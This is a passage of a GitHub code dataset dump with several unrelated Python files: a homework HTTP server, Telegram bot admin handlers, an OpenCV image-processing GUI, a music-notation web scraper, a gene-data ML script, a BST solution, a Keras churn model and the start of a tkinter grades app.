    \\r\\n\n '''\n \"\"\"\n\n return b\"\\r\\n\".join([\n b\"HTTP/1.1 200 OK\",\n b\"Content-Type: \" + mimetype,\n b\"\",\n body,\n ])\n\n\ndef parse_request(request):\n\n method, uri, version = request.split(\"\\r\\n\")[0].split(\" \")\n\n if method != \"GET\":\n raise NotImplementedError\n\n return uri\n\n\ndef response_method_not_allowed():\n \"\"\"Returns a 405 Method Not Allowed response\"\"\"\n return b\"\\r\\n\".join([\n b\"HTTP/1.1 405 Method Not Allowed\",\n b\"\",\n b\"You can't do that on this server!\",\n ])\n\n\ndef response_not_found():\n \"\"\"Returns a 404 Not Found response\"\"\"\n\n return b\"\\r\\n\".join([\n b\"HTTP/1.1 404 Not Found\",\n b\"\",\n b\"The server can not find the requested URL\",\n ])\n\n\ndef resolve_uri(uri):\n \"\"\"\n This method should return appropriate content and a mime type.\n\n If the requested URI is a directory, then the content should be a\n plain-text listing of the contents with mimetype `text/plain`.\n\n If the URI is a file, it should return the contents of that file\n and its correct mimetype.\n\n If the URI does not map to a real location, it should raise a\n NameError that the server can catch to return a 404 response.\n\n Ex:\n resolve_uri('/a_web_page.html') -> (b\"

    North Carolina...\",\n b\"text/html\")\n\n resolve_uri('/images/sample_1.png')\n -> (b\"A12BCF...\", # contents of sample_1.png\n b\"image/png\")\n\n resolve_uri('/') -> (b\"images/, a_web_page.html, make_type.py,...\",\n b\"text/plain\")\n\n resolve_uri('/a_page_that_doesnt_exist.html') -> Raises a NameError\n\n \"\"\"\n\n webroot = 'webroot'\n resource_requested = urlparse(uri).path\n file_path = webroot + resource_requested\n\n # if file requested is a directory list the files in the directory\n # and append a '/' to any files listed that are directories\n if os.path.isdir(file_path):\n listing = os.listdir(file_path)\n content = []\n for name in listing:\n if os.path.isdir(webroot + '/' + name):\n name += '/'\n content.append(name)\n content1 = ', '.join(content)\n mime_type = 'text/plain'\n return content1.encode('utf8'), mime_type.encode('utf8')\n\n # if file requested is a file list the contents of the file\n if os.path.isfile(file_path):\n if \"text\" not in mimetypes.guess_type(file_path)[0]:\n # print('file_path = ', file_path)\n with open(file_path, 'rb') as fd:\n content = fd.readlines()\n mime_type = mimetypes.guess_type(file_path)[0]\n return str(content).encode('utf8'), mime_type.encode('utf8')\n else:\n with open(file_path, 'r') as fd:\n content = fd.readlines()\n # print(\"content = \", content)\n content1 = ' '.join(content)\n mime_type = mimetypes.guess_type(file_path)[0]\n return content1.encode('utf8'), mime_type.encode('utf8')\n # If file can not be found\n else:\n raise NameError\n\n\ndef server(log_buffer=sys.stderr):\n address = ('0.0.0.0', int(os.environ.get('PORT', 10000)))\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n print(\"making a server on {0}:{1}\".format(*address), file=log_buffer)\n sock.bind(address)\n sock.listen(1)\n\n try:\n while True:\n print('waiting for a connection', file=log_buffer)\n conn, addr = sock.accept() # blocking\n try:\n print('connection - {0}:{1}'.format(*addr), file=log_buffer)\n request = ''\n while True:\n data = conn.recv(1024)\n request += data.decode('utf8')\n\n if b'\\r\\n\\r\\n' in data:\n break\n try:\n uri = parse_request(request)\n # print(\"uri is = \", uri, file=sys.stderr)\n except NotImplementedError:\n response = response_method_not_allowed()\n else:\n try:\n body, mimetype = resolve_uri(uri)\n # print(\"body \", body, file=sys.stderr)\n except NameError:\n response = response_not_found()\n else:\n response = response_ok(body=body, mimetype=mimetype)\n # print(\"response = \", response)\n # except NameError:\n # response = response_not_found()\n\n conn.sendall(response)\n finally:\n conn.close()\n\n except KeyboardInterrupt:\n sock.close()\n return\n\n\nif __name__ == '__main__':\n server()\n sys.exit(0)\n","repo_name":"ea8606/socket-http-server-homework","sub_path":"http_server.py","file_name":"http_server.py","file_ext":"py","file_size_in_byte":5373,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"73392145424","text":"from aiogram import F, Router\nfrom aiogram.filters import Command\nfrom aiogram.fsm.context import FSMContext\nfrom aiogram.types import Message, CallbackQuery\nfrom aiogram.filters.state import State\nfrom aiogram.methods import DeleteMessage, EditMessageText, SendMessage\nfrom aiogram.exceptions import TelegramBadRequest\n\n\nimport bot.text as text\nfrom bot.models import User\nfrom bot.markups import inline_markups, reply_markups\nfrom bot.controllers import user\nfrom bot.states import AdminState\nfrom bot.utils import delete_reply_markups, admin_messages, validator_user_id\nfrom bot.misc import bot, logger\n\nfrom datetime import date, timedelta\n\nrouter_admin = Router()\n\n# MAIN\n@router_admin.message(Command(\"admin\"))\nasync def start_handler(msg: Message | None, state: FSMContext, chat_id: int | str | None = None, user_id = None):\n assert(msg is not None or chat_id is not None and user_id is not None)\n if chat_id is None:\n chat_id = msg.chat.id\n user_id = msg.from_user.id\n cur_user = await user.user_exists(user_id=user_id)\n if cur_user is not None and await cur_user.is_admin():\n await state.clear()\n await SendMessage(chat_id=chat_id, text=text.greet_admin, reply_markup=reply_markups.admin_main_murkups()).as_(bot=bot)\n\nasync def start_add_rm(msg: Message, state: FSMContext, new_state:State, msg_text:str):\n await delete_reply_markups(msg=msg)\n await state.clear()\n await state.set_state(state=new_state)\n cur_state = await state.get_state()\n assert(cur_state is not None)\n if cur_state == AdminState.admin_add_rm:\n await state.update_data(target = 'admin')\n if cur_state == AdminState.user_add_rm_permission:\n await state.update_data(target = 'user')\n cur_state = cur_state.split(':')[-1]\n message = await msg.answer(text=msg_text, reply_markup=await inline_markups.state_inline_markups(state))\n await state.update_data(message_id = message.message_id)\n\n@router_admin.message(F.text == 'Добавить/Удалить админа')\nasync def stats(msg: Message, state: FSMContext):\n cur_user = await user.get_user(from_user=msg.from_user, chat_id=msg.chat.id)\n if await cur_user.is_admin():\n await start_add_rm(msg=msg, state=state, new_state=AdminState.admin_add_rm, msg_text=text.AdminText.add_rm_admin)\n\n@router_admin.message(F.text == 'Добавить/Удалить пользователя')\nasync def add_rm_admin(msg: Message, state: FSMContext):\n cur_user = await user.get_user(from_user=msg.from_user, chat_id=msg.chat.id)\n if await cur_user.is_admin():\n await start_add_rm(msg=msg, state=state, new_state=AdminState.user_add_rm_permission, msg_text=text.AdminText.add_rm_user_permission)\n\n@router_admin.message(F.text == 'Показать всех пользователей')\nasync def add_rm_admin(msg: Message, state: FSMContext):\n cur_user = await user.get_user(from_user=msg.from_user, chat_id=msg.chat.id)\n if await cur_user.is_admin():\n users = await User.all()\n for user_i in users:\n await msg.answer(text=str(user_i))\n\n# ADD/RM ADMIN\nasync def update_message(message_id: int, chat_id: int | str, user_id:int, state: FSMContext, error:bool = False):\n cur_state = await state.get_state()\n if cur_state is None:\n await start_handler(state=state, chat_id=chat_id, user_id=user_id, msg=None)\n await DeleteMessage(message_id=message_id,\n chat_id=chat_id).as_(bot=bot)\n return\n cur_state_name = cur_state.split(':')[-1]\n if error:\n text:str=admin_messages[cur_state_name]['text_error']\n else:\n text:str=admin_messages[cur_state_name]['text']\n\n if cur_state_name == 'admin_confirm':\n cur_data = await state.get_data()\n text = text.format(user_id=cur_data['user_id'])\n if cur_state_name == 'user_confirm':\n cur_data = await state.get_data()\n if cur_data['timeframe'] == '1w':\n timeframe='Одну Неделю'\n if cur_data['timeframe'] == '1m':\n timeframe='Один Месяц'\n if cur_data['timeframe'] == '3m':\n timeframe='Три Месяца'\n text = text.format(user_id=cur_data['user_id'], timeframe=timeframe)\n try:\n reply_markup = await inline_markups.state_inline_markups(state)\n await EditMessageText(text=text, reply_markup=reply_markup, chat_id=chat_id, message_id=message_id).as_(bot=bot)\n except TelegramBadRequest:\n logger.exception('Edit Message Text Telegram Bad Request')\n\n@router_admin.message(AdminState.admin_add_rm)\n@router_admin.message(AdminState.user_add_rm_permission)\n@router_admin.message(AdminState.user_input_timeframe)\n@router_admin.message(AdminState.user_confirm)\n@router_admin.message(AdminState.admin_confirm)\nasync def message_remover(msg: Message, state: FSMContext):\n await msg.delete()\n\nasync def admin_on_error_tap(callback: CallbackQuery, state: FSMContext) -> bool:\n cur_state = await state.get_state()\n user_data = await state.get_data()\n if cur_state is None or not user_data or callback.message.message_id != user_data['message_id']:\n await callback.answer('Ожидание ввода для этого сообщения закончилось', show_alert=True)\n await callback.message.delete()\n return True\n return False\n\nasync def next(state: FSMContext, callback: CallbackQuery | None = None, chat_id: int | str | None = None, user_id: int | None = None):\n assert(callback is not None or chat_id is not None and user_id is not None)\n cur_state = await state.get_state()\n await state.set_state(state=AdminState.next(cur_state))\n if callback is not None:\n await callback.answer()\n await update_message(message_id=callback.message.message_id, chat_id=callback.message.chat.id, user_id=callback.from_user.id, state=state, error=False)\n else:\n await update_message(message_id=(await state.get_data())['message_id'], chat_id=chat_id, user_id=user_id, state=state, error=False)\n\n# CANCEL AND BACK\n@router_admin.callback_query(F.data == 'admin_cancel')\nasync def admin_cancel(callback: CallbackQuery, state: FSMContext):\n if await admin_on_error_tap(callback, state):\n return\n await state.clear()\n await start_handler(chat_id=callback.message.chat.id, state=state, user_id=callback.from_user.id, msg=None)\n await callback.answer()\n await callback.message.delete()\n\n@router_admin.callback_query(F.data == 'admin_back')\nasync def admin_back(callback: CallbackQuery, state: FSMContext):\n if await admin_on_error_tap(callback, state):\n return\n cur_state = await state.get_state()\n await state.set_state(state=AdminState.pref(cur_state))\n await callback.answer()\n await update_message(message_id=callback.message.message_id, chat_id=callback.message.chat.id, user_id=callback.from_user.id, state=state, error=False)\n\n# ADD/RM\n@router_admin.callback_query(F.data == 'admin_add')\nasync def admin_add(callback: CallbackQuery, state: FSMContext):\n if await admin_on_error_tap(callback, state):\n return\n await state.update_data(action = 'add')\n await next(callback=callback, state=state)\n\n@router_admin.callback_query(F.data == 'admin_rm')\nasync def admin_rm(callback: CallbackQuery, state: FSMContext):\n if await admin_on_error_tap(callback, state):\n return\n await state.update_data(action = 'rm')\n await next(callback=callback, state=state)\n\n# INPUT ID\n@router_admin.message(AdminState.user_input_id)\n@router_admin.message(AdminState.admin_input_id)\nasync def cfsch_cost_message(msg: Message, state: FSMContext):\n validate_user_id = await validator_user_id(msg.text)\n state_data = await state.get_data()\n if validate_user_id is None:\n await update_message(message_id=state_data['message_id'], chat_id=msg.chat.id, user_id=msg.from_user.id, state=state, error=True)\n else:\n await state.update_data(user_id = validate_user_id)\n await next(chat_id=msg.chat.id, user_id=msg.from_user.id, state=state)\n await msg.delete()\n\n# TIMEFRAME\n@router_admin.callback_query(F.data == 'admin_timeframe_1w')\nasync def admin_timeframe_1w(callback: CallbackQuery, state: FSMContext):\n if await admin_on_error_tap(callback, state):\n return\n await state.update_data(timeframe = '1w')\n await next(callback=callback, state=state)\n\n@router_admin.callback_query(F.data == 'admin_timeframe_1m')\nasync def admin_timeframe_1m(callback: CallbackQuery, state: FSMContext):\n if await admin_on_error_tap(callback, state):\n return\n await state.update_data(timeframe = '1m')\n await next(callback=callback, state=state)\n\n@router_admin.callback_query(F.data == 'admin_timeframe_3m')\nasync def admin_timeframe_3m(callback: CallbackQuery, state: FSMContext):\n if await admin_on_error_tap(callback, state):\n return\n await state.update_data(timeframe = '3m')\n await next(callback=callback, state=state)\n\n# CONFIRM AND VALIDATE\n@router_admin.callback_query(F.data == 'admin_confirm')\nasync def admin_confirm(callback: CallbackQuery, state: FSMContext):\n if await admin_on_error_tap(callback, state):\n return\n cur_data = await state.get_data()\n target_user = await User.filter(user_id=cur_data['user_id']).first()\n if target_user is None:\n await callback.answer(text.error_add_rm)\n await next(callback=callback, state=state)\n return\n if cur_data['target'] == 'admin':\n if cur_data['action'] == 'add':\n target_user.admin_status = True\n if cur_data['action'] == 'rm':\n target_user.admin_status = False\n if cur_data['target'] == 'user':\n if cur_data['action'] == 'add':\n start_timeframe = date.today()\n if cur_data['timeframe'] == '1w':\n end_timeframe = date.today() + timedelta(days=7)\n if cur_data['timeframe'] == '1m':\n end_timeframe = date.today() + timedelta(days=30)\n if cur_data['timeframe'] == '3m':\n end_timeframe = date.today() + timedelta(days=90)\n target_user.demo_status = False\n target_user.full_time_start = start_timeframe\n target_user.full_time_end = end_timeframe\n target_user.notifi_status = False\n if cur_data['action'] == 'rm':\n target_user.demo_status = True\n target_user.demo_counter = 0\n target_user.full_time_start = None\n target_user.full_time_end = None\n target_user.notifi_status = False\n await target_user.save(update_fields=['admin_status', 'demo_status', 'demo_counter', 'full_time_start', 'full_time_end', 'notifi_status'])\n cur_state = (await state.get_state()).split(\":\")[-1]\n if cur_state == 'admin_confirm':\n message_popup = text.AdminText.success_admin\n if cur_state == 'user_confirm':\n message_popup = text.AdminText.success_user\n await callback.answer(text=message_popup)\n await next(callback=callback, state=state)","repo_name":"mottiya/async_tg_bot","sub_path":"bot/handlers/admin/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":11067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17404147834","text":"import sys\nfrom PyQt5.QtWidgets import QApplication, QLabel, QWidget, QPushButton\nfrom PyQt5.QtGui import QFont, QIcon\nfrom PyQt5.QtCore import pyqtSlot, right\nimport numpy as np\nimport cv2\nclass Button_Func:\n \n def convolution(self,filter,img):\n img3 = []\n for i in range(1,len(img)-1):\n img2 = []\n for j in range(1,len(img[0])-1):\n conv1 = np.int32(img[i-1][j-1])*filter[0][0] + np.int32(img[i-1][j])*filter[0][1] + np.int32(img[i-1][j+1])*filter[0][2] + np.int32(img[i][j-1])*filter[1][0] + np.int32(img[i][j])*filter[1][1] + np.int32(img[i][j+1])*filter[1][2] + np.int32(img[i+1][j-1])*filter[2][0] + np.int32(img[i+1][j])*filter[2][1] + np.int32(img[i+1][j+1])*filter[2][2]\n conv1 = abs(conv1)\n if conv1 > 255:\n conv1 = 255\n img2.append(np.uint8([conv1]))\n img3.append(img2)\n img2 = np.array(img3,dtype=object)\n return np.uint8(img2)\n\n def load_image(self):\n cv2.destroyAllWindows()\n img = cv2.imread(\"Q1_Image/Sun.jpg\")\n print(\"Height : {:d}\\nWidth : {:d}\".format(img.shape[0],img.shape[1]))\n cv2.imshow(\"Sun.jpg\",img)\n cv2.waitKey(0)\n\n def color_seperation(self):\n cv2.destroyAllWindows()\n img = cv2.imread(\"Q1_Image/Sun.jpg\")\n b,g,r = cv2.split(img)\n zeros = np.uint8(np.zeros((img.shape[0],img.shape[1])))\n b = cv2.merge([b,zeros,zeros])\n g = cv2.merge([zeros,g,zeros])\n r = cv2.merge([zeros,zeros,r])\n cv2.imshow(\"B Channel\",b)\n cv2.imshow(\"G Channel\",g)\n cv2.imshow(\"R Channel\",r)\n cv2.waitKey(0)\n\n def color_transformations(self):\n cv2.destroyAllWindows()\n img = cv2.imread(\"Q1_Image/Sun.jpg\")\n b,g,r = cv2.split(img)\n img1 = np.uint8(b/3 + g/3 + r/3)\n img2 = np.uint8(0.07*b + 0.72*g + 0.21*r)\n cv2.imshow(\"l2\",img1)\n cv2.imshow(\"l1\",img2)\n cv2.waitKey(0)\n\n def blending(self):\n cv2.destroyAllWindows()\n img1 = cv2.imread(\"Q1_Image/Dog_Strong.jpg\")\n img2 = cv2.imread(\"Q1_Image/Dog_Weak.jpg\")\n cv2.namedWindow('Blend')\n def update(x):\n value = cv2.getTrackbarPos('bar','Blend')\n img = cv2.addWeighted(img2,value/255,img1,1-value/255,0)\n cv2.imshow(\"Blend\",img)\n cv2.createTrackbar('bar','Blend',0,255,update)\n cv2.setTrackbarPos('bar','Blend',100)\n cv2.waitKey(0)\n \n def gaussian_blur1(self):\n cv2.destroyAllWindows()\n img = cv2.imread(\"Q2_Image/Lenna_whiteNoise.jpg\")\n img2 = cv2.GaussianBlur(img, (5, 5), 5)\n cv2.imshow(\"Gaussian Blur\",img2)\n cv2.waitKey(0)\n\n def bilateral_filter(self):\n cv2.destroyAllWindows()\n img = cv2.imread(\"Q2_Image/Lenna_whiteNoise.jpg\")\n img2 = cv2.bilateralFilter(img, 9, 90, 90)\n cv2.imshow(\"Bilateral Filter\",img2)\n cv2.waitKey(0)\n\n def median_filter(self):\n cv2.destroyAllWindows()\n img = cv2.imread(\"Q2_Image/Lenna_pepperSalt.jpg\")\n img3 = cv2.medianBlur(img,3)\n img5 = cv2.medianBlur(img,5)\n cv2.imshow(\"Median Filter 3x3\",img3)\n cv2.imshow(\"Median Filter 5x5\",img5)\n cv2.waitKey(0)\n\n def gaussian_blur2(self):\n cv2.destroyAllWindows()\n img = cv2.imread(\"Q3_Image/House.jpg\")\n b,g,r = cv2.split(img)\n img1 = np.uint8(b/3 + g/3 + r/3)\n filter=[[0.045,0.122,0.045],[0.122,0.332,0.122],[0.045,0.122,0.045]]\n img2 = self.convolution(filter,img1)\n\n cv2.imshow(\"Gaussian Blur\",img2)\n cv2.waitKey(0)\n \n def sobel_x(self):\n cv2.destroyAllWindows()\n img = cv2.imread(\"Q3_Image/House.jpg\")\n b,g,r = cv2.split(img)\n img1 = np.uint8(b/3 + g/3 + r/3)\n filter=[[0.045,0.122,0.045],[0.122,0.332,0.122],[0.045,0.122,0.045]]\n img1 = self.convolution(filter,img1)\n filter=[[-1,0,1],[-2,0,2],[-1,0,1]]\n img1 = self.convolution(filter,img1)\n cv2.imshow(\"Sobel X\",img1)\n cv2.waitKey(0)\n\n def sobel_y(self):\n cv2.destroyAllWindows()\n img = cv2.imread(\"Q3_Image/House.jpg\")\n b,g,r = cv2.split(img)\n img1 = np.uint8(b/3 + g/3 + r/3)\n filter=[[0.045,0.122,0.045],[0.122,0.332,0.122],[0.045,0.122,0.045]]\n img1 = self.convolution(filter,img1)\n filter=[[1,2,1],[0,0,0],[-1,-2,-1]]\n img1 = self.convolution(filter,img1)\n cv2.imshow(\"Sobel Y\",img1)\n cv2.waitKey(0)\n\n def magnitude(self):\n cv2.destroyAllWindows()\n img = cv2.imread(\"Q3_Image/House.jpg\")\n b,g,r = cv2.split(img)\n img1 = np.uint8(b/3 + g/3 + r/3)\n filter=[[0.045,0.122,0.045],[0.122,0.332,0.122],[0.045,0.122,0.045]]\n img1 = self.convolution(filter,img1)\n filterx=[[-1,0,1],[-2,0,2],[-1,0,1]]\n filtery=[[1,2,1],[0,0,0],[-1,-2,-1]]\n conv1 = self.convolution(filterx,img1)\n conv2 = self.convolution(filtery,img1)\n img3 = []\n for i in range(len(conv1)):\n img2 = []\n for j in range(len(conv1[0])):\n \n a = (((np.int32(conv1[i][j]))**2 + np.int32((conv2[i][j]))**2)**0.5) / (2**0.5)\n \n img2.append(np.uint8(a))\n img3.append(img2)\n img2 = np.array(img3).astype(np.uint8)\n cv2.imshow(\"Magnitude\",img2)\n cv2.waitKey(0)\n\n def resize(self):\n cv2.destroyAllWindows()\n img = cv2.imread(\"Q4_Image/SQUARE-01.png\")\n img = cv2.resize(img,(256,256))\n cv2.imshow(\"Resize\",img)\n cv2.waitKey(0)\n\n def translation(self):\n cv2.destroyAllWindows()\n img = cv2.imread(\"Q4_Image/SQUARE-01.png\")\n img = cv2.resize(img,(256,256))\n h = np.float32([[1,0,0],[0,1,60]])\n img = cv2.warpAffine(img,h,(400,300))\n cv2.imshow(\"Translation\",img)\n cv2.waitKey(0)\n\n def rotation_scaling(self):\n cv2.destroyAllWindows()\n img = cv2.imread(\"Q4_Image/SQUARE-01.png\")\n img = cv2.resize(img,(256,256))\n h = np.float32([[1,0,0],[0,1,60]])\n img = cv2.warpAffine(img,h,(400,300))\n h = cv2.getRotationMatrix2D((128,188),10,0.5)\n img = cv2.warpAffine(img,h,(400,300))\n cv2.imshow(\"Rotation,Scaling\",img)\n cv2.waitKey(0)\n \n def shearing(self):\n cv2.destroyAllWindows()\n img = cv2.imread(\"Q4_Image/SQUARE-01.png\")\n img = cv2.resize(img,(256,256))\n h = np.float32([[1,0,0],[0,1,60]])\n img = cv2.warpAffine(img,h,(400,300))\n h = cv2.getRotationMatrix2D((128,188),10,0.5)\n img = cv2.warpAffine(img,h,(400,300))\n h1 = np.float32([[50,50],[200,50],[50,200]])\n h2 = np.float32([[10,100],[200,50],[100,250]])\n h = cv2.getAffineTransform(h1,h2)\n img = cv2.warpAffine(img,h,(400,300))\n cv2.imshow(\"Shearing\",img)\n cv2.waitKey(0)\n\nclass UI:\n \n def __init__(self):\n self.button_func = Button_Func()\n self.setUI()\n \n def func(self,name,position,button_func):\n button = QPushButton(self.widget)\n button.setText(name)\n button.setFont(QFont('Arial', 12))\n button.move(position[0],position[1])\n button.clicked.connect(button_func)\n button.resize(200,30)\n button.setStyleSheet(\"QPushButton{text-align : left;}\")\n return button\n \n def label(self,name,position):\n label = QLabel(self.widget)\n label.setText(name)\n label.setFont(QFont('Arial', 12))\n label.move(position[0],position[1])\n return label\n\n def setUI(self):\n \n gap1 = 70\n gap2 = 100\n\n self.app = QApplication(sys.argv)\n \n self.widget = QWidget()\n\n self.label1 = self.label(\"1. Image Processing\" ,(32,32))\n self.label2 = self.label(\"2. Image Smoothing\" ,(256,32))\n self.label3 = self.label(\"3. Edge Detection\" ,(480,32))\n self.label4 = self.label(\"4. Transformation\" ,(704,32))\n\n self.load_image_button = self.func(\"1.1 Load Image\" ,(32,64+gap1) ,self.button_func.load_image)\n self.color_seperation_button = self.func(\"1.2 Color Seperation\" ,(32,96+gap1*2) ,self.button_func.color_seperation)\n self.color_transformations_button = self.func(\"1.3 Color Transformations\" ,(32,128+gap1*3) ,self.button_func.color_transformations)\n self.blending_button = self.func(\"1.4 Blending\" ,(32,160+gap1*4) ,self.button_func.blending)\n self.gaussian_blur1_button = self.func(\"2.1 Gaussian Blur\" ,(256,64+gap2*1) ,self.button_func.gaussian_blur1)\n self.bilateral_filter_button = self.func(\"2.2 Bilateral Filter\" ,(256,96+gap2*2) ,self.button_func.bilateral_filter)\n self.median_filter_button = self.func(\"2.3 Median Filter\" ,(256,128+gap2*3) ,self.button_func.median_filter)\n self.gaussian_blur2_button = self.func(\"3.1 Gaussian Blur\" ,(480,64+gap1*1) ,self.button_func.gaussian_blur2)\n self.sobel_x_button = self.func(\"3.2 Sobel X\" ,(480,96+gap1*2) ,self.button_func.sobel_x)\n self.sobel_y_button = self.func(\"3.3 Sobel Y\" ,(480,128+gap1*3) ,self.button_func.sobel_y)\n self.magnitude_button = self.func(\"3.4 Magnitude\" ,(480,160+gap1*4) ,self.button_func.magnitude)\n self.resize_button = self.func(\"4.1 Resize\" ,(704,64+gap1*1) ,self.button_func.resize)\n self.translation_button = self.func(\"4.2 Translation\" ,(704,96+gap1*2) ,self.button_func.translation)\n self.rotation_scaling_button = self.func(\"4.3 Rotation,Scaling\" ,(704,128+gap1*3) ,self.button_func.rotation_scaling)\n self.shearing_button = self.func(\"4.4 Shearing\" ,(704,160+gap1*4) ,self.button_func.shearing)\n \n self.widget.setGeometry(50,50,50+920,50+600)\n self.widget.setWindowTitle(\"2021 Opencvdl Hw1\")\n self.widget.show() \n sys.exit(self.app.exec_())\n \nif __name__ == '__main__':\n ui = UI()\n","repo_name":"a43414786/OpenCV-DeepLearning","sub_path":"hw1/hw1.py","file_name":"hw1.py","file_ext":"py","file_size_in_byte":10315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4943236625","text":"from bs4 import BeautifulSoup\nimport urllib.request\nimport os\nimport time\n\ndef getlink(name):\n print(\"here\")\n nextsearch = None\n soup = BeautifulSoup(open(f\"downloads/{name}\", 'r').read() , 'html.parser')\n print(soup.find_all('a'))\n for link in soup.find_all('a'):\n print(link)\n print(\"start\")\n if link.get_text().find('tune page') == 0:\n print(\"tune\")\n collection.append(\"tune\" + str(x) + \".html\")\n time.sleep(5)\n downloadthis(domain + link.get('href'), \"downloads\", \"tune\" + str(x))\n x = x+1\n # completetext.append(songcatcher(domain + link.get('href')))\n if link.get_text() == \"next\":\n print(\"next\")\n # y = y + 1\n furl = \"index\" + str(y) + \".html\"\n downloadthis(domain + link.get('href'), \"downloads\", \"index\" + str(y))\n time.sleep(5)\n getlink(furl)\n print(collection)\n\n\ndef downloadthis(url, folder=\".\", name=\"error\"):\n file = name + \".html\"\n path = os.path.join(folder, file)\n print(path)\n if os.path.exists(path):\n return\n urllib.request.urlretrieve(url, path)\n print(\"complete\")\n\ndef songcatcher(name):\n soup = BeautifulSoup(open(f\"downloads/{name}\", 'r').read() , 'html.parser')\n soug.find(\"textarea\")\n soup.contents[0].strip()\n return soup\n\ny = 0\nx = 0\ncollection = []\ncompletetext = []\ndomain = \"http://abcnotation.com\"\nurl = \"http://abcnotation.com/searchTunes?q=country&f=c&o=a&s=0\"\n\ndownloadthis(url, \"downloads\", \"index\" + str(y))\ngetlink(\"index0.html\")\n\nsave=open(f\"complete.abc\", \"a\")\nfor all in collection:\n save.write(songcatcher(all) + \"\\n\")\nsave.close()\n\nprint(completetext)\n","repo_name":"GodlySlamJam/ml-spring-2019","sub_path":"week3/sondscraper.py","file_name":"sondscraper.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22061382492","text":"import argparse\n\nfrom utils.data_preprocess import DataPreprocess\nfrom train import Training\nfrom predict import evaluate\n\nparser = argparse.ArgumentParser(description=\"Disease class prediction with using genetic micro-array data\")\nparser.add_argument(\"-p\", \"--pre-data\",\n action=\"store_true\", dest=\"data_proc\",\n help=\"When the flag is activated, it performs data pre-processing.\")\nparser.add_argument(\"-l\", \"--limit-gene\", nargs=1,\n action=\"store\", default=0, dest=\"limit\",\n help=\"Limit genes in all datasets, it speeds up on data pre-processing development.\")\nparser.add_argument(\"-t\", \"--train\",\n action=\"store_true\", dest=\"train\",\n help=\"When the flag is activated, it performs training.\")\nparser.add_argument(\"-e\", \"--evaluate\",\n action=\"store_true\", dest=\"evaluate\",\n help=\"When the flag is activated, it predicts test classes.\")\n\nargs = parser.parse_args()\n\nif args.data_proc:\n dp = DataPreprocess(\"data\", [2, 4, 6, 8, 10, 12, 15, 20, 25, 30], int(args.limit[0]))\n\nif args.train:\n tr = Training([2, 4, 6, 8, 10, 12, 15, 20, 25, 30])\n\nif args.evaluate:\n evaluate()\n","repo_name":"omerferhatt/ml-on-genes","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"26089315799","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def convertBST(self, root: TreeNode) -> TreeNode:\n if not root:\n return\n self.sum = 0\n self.helper(root)\n return root\n def helper(self, node):\n if not node:\n return\n self.helper(node.right)\n node.val += self.sum\n self.sum = node.val\n self.helper(node.left)","repo_name":"finderkiller/LeetCode","sub_path":"538ConvertBSTtoGreaterTree.py","file_name":"538ConvertBSTtoGreaterTree.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23707342386","text":"import pandas as pd\nimport numpy as np\nfrom sklearn import preprocessing\nimport tensorflow as tf\nfrom tensorflow import keras\n\ndf = pd.read_csv('data/Telco.csv', sep=';', decimal='.', encoding='utf-8')\ndf.fillna(0, inplace=True)\n\ninput_variables = df.iloc[:,0:14]\npredict_field = \"churn\"\n \ndf_train = df.sample(n = 900, replace = False) \ndf_test = df.drop(df_train.index)\n\n# train\nX = np.array(df_train.iloc[:,1:40])\ny = np.array(pd.get_dummies(df_train[predict_field]))\n\nscaler = preprocessing.StandardScaler()\nX_scaled = scaler.fit_transform(X)\n\nmodel = keras.Sequential([\n keras.layers.Dense(30, activation=tf.nn.relu, input_shape=(X_scaled.shape[1],)),\n keras.layers.Dense(30, activation=tf.nn.relu),\n keras.layers.Dense(2, activation=tf.nn.softmax)\n ])\n\nmodel.compile(optimizer=keras.optimizers.Adam(learning_rate=0.001),\n loss='categorical_crossentropy',\n metrics=['categorical_accuracy'])\n\nmodel.fit(X_scaled, y, epochs=20, batch_size=1)\n\n# test\nX = np.array(df_test.iloc[:,1:40])\nscaler = preprocessing.StandardScaler()\nX_scaled = scaler.fit_transform(X)\n\npredictedResults = model.predict(X_scaled)\nmodel.summary()\n\nroundedResults = np.round(predictedResults, 3)\ndf_test['Churn Riski'] = roundedResults[:,1]\n\nresults_fields = ['region', 'tenure', 'age', 'marital', 'income', 'employ', 'gender','churn', 'Churn Riski']\ndf_results = df_test[results_fields].sample(20)\n","repo_name":"TapaniAlastalo/data_analytics","sub_path":"koneoppiminen/koodit/t20.py","file_name":"t20.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36016664022","text":"import tkinter as tk\nimport tkinter.ttk as ttk\nimport tkinter.messagebox as msb\nfrom tkinter import *\nimport sqlite3\n\nwindow = Tk()\nwindow.title(\"REGISTRO DE NOTAS PESSOAIS\")\nwindow.configure(background='#483d8b')\nwindow.geometry(\"700x600\")\nwindow.resizable(True, False)\nwindow.minsize(width=700, height=600)\nwindow.minsize(width=900, height=600)\n\nid_entry = StringVar()\ndisciplina_entry = StringVar()\nav1_entry = StringVar()\nav2_entry = StringVar()\nav3_entry = StringVar()\navd_entry = StringVar()\navds_entry = StringVar()\nstatus = StringVar()\nmedia = StringVar()\n\n#FUNÇOES\ndef create_db():\n conn = sqlite3.connect(\"reg_notas.db\")\n cursor = conn.cursor()\n cursor.execute(\n \"\"\"CREATE TABLE IF NOT EXISTS 'notas' (id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, disciplina TEXT, av1 FLOAT, av2 FLOAT, av3 FLOAT, avd FLOAT, avds FLOAT, media FLOAT, status TEXT) \"\"\"\n )\n 